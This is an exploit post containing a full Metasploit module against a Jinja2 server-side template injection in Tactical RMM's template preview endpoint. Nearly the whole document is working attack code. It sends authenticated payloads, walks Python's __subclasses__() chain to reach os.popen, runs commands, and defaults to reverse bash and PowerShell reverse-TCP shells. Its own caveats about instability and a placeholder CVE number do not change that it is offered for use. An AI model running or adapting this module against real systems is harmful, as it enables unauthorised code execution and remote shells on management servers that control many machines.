📄 Tactical RMM 1.3.1 Jinja2 Server-Side Template Injection

=============================================================================================================================================
    | # Title     : Tactical RMM 1.3.1 Jinja2 SSTI Module Exploit Module                                                                        |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
    | # Vendor    : https://github.com/amidaware/tacticalrmm                                                                                    |
    =============================================================================================================================================
    
    [+] Summary    : This Metasploit module targets a Server-Side Template Injection (SSTI) vulnerability in Tactical RMM’s template preview endpoint. 
                     The implementation is clearly marked as experimental and manually ranked due to the inherently unstable exploitation technique it relies on.
                     The module attempts to achieve command execution by traversing Python’s internal object model using the __subclasses__() method. 
    				 This approach is fundamentally unreliable because subclass ordering varies depending on:
    
    [+] POC : 
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ManualRanking # Explicitly manual due to technique instability
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
      include Msf::Exploit::Powershell
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Tactical RMM Jinja2 SSTI Exploit (Experimental/Unstable)',
            'Description' => %q{
              This module attempts to exploit a Server-Side Template Injection (SSTI) vulnerability
              in Tactical RMM's template preview endpoint.
    
              TECHNICAL LIMITATIONS (PLEASE READ):
              =====================================
              1. The exploit relies on Python's internal __subclasses__() ordering which:
                 - Varies between Python versions (2.7, 3.6, 3.7, 3.8, 3.9, 3.10, 3.11+)
                 - Changes based on imported modules at runtime
                 - Can be modified by application-specific code
                 - May be patched or mitigated in recent versions
    
              2. Detection methods may produce false positives because:
                 - Mathematical results (like 49) might appear in normal content
                 - Error messages might be misinterpreted
                 - Partial template evaluation can occur
    
              3. Command execution is NOT guaranteed even if SSTI is detected because:
                 - The required subclasses may not be available
                 - The chain of Python objects may break
                 - Application-level filters may block certain syntax
    
              RECOMMENDED APPROACH:
              =====================
              - First verify SSTI manually with simple operations: {{7*7}}
              - Test with harmless commands: {{ self.__class__.__mro__ }}
              - Use this module as an automation tool, not as a guaranteed exploit
              - Be prepared for failure and have manual fallback methods
            },
            'Author' => [
              'indoushka'
            ],
            'License' => MSF_LICENSE,
            'References' => [
              [ 'URL', 'https://github.com/amidaware/tacticalrmm' ],
              [ 'URL', 'https://portswigger.net/research/server-side-template-injection' ],
              [ 'URL', 'https://bugs.python.org/issue' ], # Generic reference
              [ 'CVE', '2024-XXXX' ] # Placeholder - update if assigned
            ],
            'Platform' => ['linux', 'win'],
            'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
            'Targets' => [
              [
                'Unix Command',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_bash'
                  }
                }
              ],
              [
                'Windows Command',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'Type' => :win_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
                  }
                }
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2024-03-15',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [
                CRASH_SAFE,         
                SERVICE_RESOURCE_LOSS 
              ],
              'Reliability' => [
                UNRELIABLE_SESSION     
              ],
              'SideEffects' => [
                IOC_IN_LOGS,           
                ARTIFACTS_ON_DISK      
              ]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The base path to the Tactical RMM API', '/']),
            OptString.new('TOKEN', [true, 'Authorization token for API access']),
            OptInt.new('TIMEOUT', [true, 'HTTP request timeout', 30]),
            OptBool.new('SSLVerify', [true, 'Verify SSL certificate (framework-dependent)', false]),
            OptString.new('SUBCLASSES_INDICES', [
              false, 
              'Comma-separated list of subclasses indices to try (see documentation for common values)',
              '140,287,288,289,290,291,292,293,294,295'
            ]),
            OptBool.new('SKIP_CHECK', [
              true, 
              'Skip vulnerability check and attempt exploitation directly (bypass false negatives)', 
              false
            ]),
            OptString.new('VERIFICATION_STRING', [
              false,
              'Custom string to use for SSTI verification (random if not specified)',
              nil
            ])
          ]
        )
      end
    
      def generate_verification_string
        @verification_string ||= datastore['VERIFICATION_STRING'] || "SSTI_#{Rex::Text.rand_text_alphanumeric(8)}"
      end
    
      def send_ssti_request(template_md)
        payload = {
          'template_md' => template_md,
          'type' => 'markdown',
          'template_css' => '',
          'template_html' => nil,
          'template_variables' => {},
          'dependencies' => {},
          'format' => 'html',
          'debug' => false
        }
    
        begin
    
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'reporting', 'templates', 'preview/'),
            'headers' => {
              'Authorization' => "Token #{datastore['TOKEN']}",
              'Content-Type' => 'application/json',
              'Accept' => 'application/json',
              'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            },
            'data' => payload.to_json,
            'timeout' => datastore['TIMEOUT']
          })
          
          return res if res
          
          vprint_error("No response received")
          nil
          
        rescue Rex::ConnectionError => e
          vprint_error("Connection error: #{e.message}")
          nil
        rescue Rex::TimeoutError
          vprint_error("Request timeout")
          nil
        end
      end
    
      def extract_response_body(res)
        return nil unless res
        
        begin
    
          json_body = res.get_json_document
          if json_body && json_body.is_a?(Hash)
            return json_body['preview'] if json_body['preview']
            return json_body.to_s if json_body['error']
          end
        rescue JSON::ParserError
    
        end
    
        res.body
      end
    
      def verify_ssti_detection
        test_string = generate_verification_string
        test_payload = "{{ '#{test_string}' }}"
        
        print_status("Testing SSTI with verification string: #{test_string}")
        
        res = send_ssti_request(test_payload)
        return false unless res && res.code == 200
        
        response_body = extract_response_body(res)
        return false unless response_body
    
        if response_body.include?(test_string)
          print_good("SSTI confirmed! Test string appears in response")
    
          math_test = "{{ 123*456 }}"
          res_math = send_ssti_request(math_test)
          if res_math && res_math.code == 200
            math_body = extract_response_body(res_math)
            if math_body && math_body.include?('56088') 
              print_good("Math evaluation confirmed - template engine is active")
              return true
            end
          end
          
          print_warning("String injection works but math evaluation uncertain")
          return true
        end
    
        fallback_test = "{{ 7*7 }}"
        res_fallback = send_ssti_request(fallback_test)
        if res_fallback && res_fallback.code == 200
          fallback_body = extract_response_body(res_fallback)
          if fallback_body && fallback_body.include?('49')
            print_warning("Basic math works but string test failed - partial SSTI possible")
            return true
          end
        end
        
        false
      end
    
      def endpoint_accessible?
        basic_payload = {
          'template_md' => 'test',
          'type' => 'markdown'
        }
        
        res = send_ssti_request('test')
        
        if res.nil?
          print_error("Cannot connect to endpoint")
          return false
        end
        
        case res.code
        when 401
          print_error("Authentication failed - invalid token")
          return false
        when 403
          print_error("Access denied - insufficient permissions")
          return false
        when 404
          print_error("Endpoint not found - check TARGETURI")
          return false
        when 200
          print_good("Endpoint accessible and authenticated")
          return true
        else
          print_error("Unexpected response code: #{res.code}")
          return false
        end
      end
    
      def check
        return CheckCode::Unknown("Check skipped by user option") if datastore['SKIP_CHECK']
        
        print_status("Beginning vulnerability check...")
        print_warning("Note: False positives/negatives are possible with SSTI detection")
        unless endpoint_accessible?
          return CheckCode::Unknown("Endpoint check failed")
        end
    
        if verify_ssti_detection
          print_good("Target appears vulnerable to SSTI")
          print_warning("However, RCE depends on Python internals and is NOT guaranteed")
          return CheckCode::Appears
        else
          print_error("SSTI verification failed")
          print_note("Try manual verification with: curl -X POST ... -d '{\"template_md\":\"{{7*7}}\"}'")
          return CheckCode::Safe
        end
      end
    
      def escape_for_jinja2(cmd)
        escaped = cmd.dup
    
        escaped.gsub!('\\', '\\\\')
        if target['Platform'] == 'win'
          escaped.gsub!('"', '\\"')
          escaped.gsub!("'", "''")
        else
    
          escaped.gsub!("'", "'\"'\"'")
        end
    
        escaped.gsub!("\n", '\\n')
        escaped.gsub!("\r", '\\r')
        
        escaped
      end
    
      def build_exploit_template(cmd, index)
        escaped_cmd = escape_for_jinja2(cmd)
        
        if target['Platform'] == 'win'
    
          <<~TEMPLATE
            {# Attempting exploitation with index #{index} #}
            {% set globals = ''.__class__.__mro__[1].__subclasses__()[#{index}].__init__.__globals__ %}
            {% if globals %}
              {% set builtins = globals.get('__builtins__', {}) %}
              {% if builtins %}
                {% set import_func = builtins.get('__import__') %}
                {% if import_func %}
                  {% set os_module = import_func('os') %}
                  {% if os_module %}
                    {% set command_output = os_module.popen('cmd.exe /c #{escaped_cmd}').read().strip() %}
                    ---BEGIN OUTPUT---
                    {{ command_output }}
                    ---END OUTPUT---
                  {% else %}
                    {# Failed to get os module #}
                  {% endif %}
                {% else %}
                  {# Failed to get import function #}
                {% endif %}
              {% else %}
                {# Failed to get builtins #}
              {% endif %}
            {% else %}
              {# Failed to get globals for index #{index} #}
            {% endif %}
          TEMPLATE
        else
    
          <<~TEMPLATE
            {# Attempting exploitation with index #{index} #}
            {% set globals = ''.__class__.__mro__[1].__subclasses__()[#{index}].__init__.__globals__ %}
            {% if globals %}
              {% set builtins = globals.get('__builtins__', {}) %}
              {% if builtins %}
                {% set import_func = builtins.get('__import__') %}
                {% if import_func %}
                  {% set os_module = import_func('os') %}
                  {% if os_module %}
                    {% set command_output = os_module.popen('#{escaped_cmd}').read().strip() %}
                    ---BEGIN OUTPUT---
                    {{ command_output }}
                    ---END OUTPUT---
                  {% else %}
                    {# Failed to get os module #}
                  {% endif %}
                {% else %}
                  {# Failed to get import function #}
                {% endif %}
              {% else %}
                {# Failed to get builtins #}
              {% endif %}
            {% else %}
              {# Failed to get globals for index #{index} #}
            {% endif %}
          TEMPLATE
        end
      end
    
      def extract_command_output(response_body)
        return nil unless response_body
    
        if response_body =~ /---BEGIN OUTPUT---\s*(.*?)\s*---END OUTPUT---/m
          return Regexp.last_match(1).strip
        end
    
        lines = response_body.split("\n")
        non_empty = lines.reject { |l| l.strip.empty? || l.strip.start_with?('{#') }
        non_empty.last if non_empty.any?
      end
    
      def try_index(cmd, index)
        print_status("Trying subclasses index: #{index}")
        
        template = build_exploit_template(cmd, index)
        res = send_ssti_request(template)
        
        return false unless res && res.code == 200
        
        response_body = extract_response_body(res)
        return false unless response_body
    
        output = extract_command_output(response_body)
        if output && !output.empty?
          print_good("Success with index #{index}!")
          print_line("Command output: #{output}")
          return true
        end
    
        if response_body.include?('subclasses') || response_body.include?('__init__')
          vprint_status("Index #{index} produced Python-related output: #{response_body[0..100]}")
        end
        
        false
      end
    
      def exploit
        print_status("Target: #{datastore['RHOST']}:#{datastore['RPORT']}")
        print_status("Token: #{datastore['TOKEN'][0..8]}...")
        
        print_warning("="*70)
        print_warning("EXPERIMENTAL/UNSTABLE EXPLOIT")
        print_warning("This technique relies on Python internals and may fail")
        print_warning("Success rate varies significantly across environments")
        print_warning("Consider manual verification before relying on this module")
        print_warning("="*70)
    
        unless endpoint_accessible?
          print_error("Cannot proceed - endpoint check failed")
          return
        end
    
        unless datastore['SKIP_CHECK']
          if verify_ssti_detection
            print_good("SSTI confirmed, proceeding with exploitation")
          else
            print_error("SSTI verification failed")
            print_warning("Attempting exploitation anyway due to possible false negative")
          end
        end
      
        cmd_to_execute = case target['Type']
        when :unix_cmd, :win_cmd
          payload.encoded
        when :linux_dropper
          print_warning("Dropper targets not fully implemented - using command target")
          payload.encoded
        when :windows_dropper
          generate_psh_command_line
        end
        
        print_status("Command to execute: #{cmd_to_execute[0..50]}...")
        
        indices = datastore['SUBCLASSES_INDICES'].split(',').map(&:strip)
        print_status("Attempting #{indices.length} indices: #{indices.join(', ')}")
        
        success = false
        indices.each do |index|
          if try_index(cmd_to_execute, index.to_i)
            success = true
            break
          end
        end
        
        unless success
          print_error("Exploitation failed with all attempted indices")
          print_error("Common reasons for failure:")
          print_error("1. Wrong subclasses index - try different values in SUBCLASSES_INDICES")
          print_error("2. Python version incompatibility - check target Python version")
          print_error("3. Required classes not available in this environment")
          print_error("4. Application-level filtering blocking the payload")
          print_error("5. Command contains characters that break template syntax")
          print_error("\nTroubleshooting steps:")
          print_error("1. Test with simple command: 'id' or 'whoami'")
          print_error("2. Try common indices: 140, 287, 288, 289, 290")
          print_error("3. Verify SSTI manually first")
        end
      end
    end
    
    Greetings to :======================================================================
    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
    ====================================================================================